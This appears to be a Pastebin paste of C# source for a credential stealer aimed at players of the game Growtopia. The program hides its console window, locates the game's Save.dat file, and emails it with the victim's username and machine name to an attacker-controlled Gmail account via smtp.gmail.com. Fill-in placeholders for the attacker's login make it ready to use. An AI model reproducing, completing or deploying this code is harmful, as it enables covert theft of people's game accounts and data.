Advertisement
Guest User

Untitled

a guest
Aug 25th, 2018
191
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.59 KB | None | 0 0
  1. using System;
  2. using System.Net;
  3. using System.Net.Mail;
  4. using System.Runtime.InteropServices;
  5.  
  6. namespace _123
  7. {
  8. class Program
  9. {
  10. [DllImport("user32.dll")]
  11. static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
  12.  
  13. [DllImport("Kernel32")]
  14. private static extern IntPtr GetConsoleWindow();
  15.  
  16. const int SW_HIDE = 0;
  17. const int SW_SHOW = 5;
  18.  
  19. static void Main(string[] args)
  20. {
  21. IntPtr hwnd;
  22. hwnd = GetConsoleWindow();
  23. ShowWindow(hwnd, SW_HIDE);
  24. string growtopia = "\\Growtopia\\Save.dat";
  25. string kek = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
  26. string fromEmail; string toEmail; string subject; string body; string gmailUser; string gmailPass; string savedat;
  27.  
  28. gmailUser = "gmail"; // CHANGE THIS CHANGE THIS CHANGE THIS
  29. gmailPass = "pass"; // CHANGE THIS CHANGE THIS CHANGE THIS
  30. toEmail = gmailUser;
  31. fromEmail = gmailUser;
  32. string userName = Environment.UserName;
  33. string computerName = System.Environment.MachineName.ToString();
  34. subject = "Save.Dat stolen";
  35. body = "Save.dat stolen from " + Environment.UserName + "/ " + Environment.MachineName;
  36. savedat = kek + growtopia;
  37. MailMessage message = new MailMessage(fromEmail, toEmail, subject, body);
  38. SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587);
  39. smtp.EnableSsl = true;
  40. smtp.Credentials = new NetworkCredential(gmailUser, gmailPass);
  41.  
  42. if (savedat != string.Empty || savedat != null)
  43. {
  44. Attachment attach = new Attachment(savedat);
  45. message.Attachments.Add(attach);
  46. }
  47.  
  48. smtp.Send(message);
  49. return;
  50. }
  51.  
  52.  
  53. }
  54. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement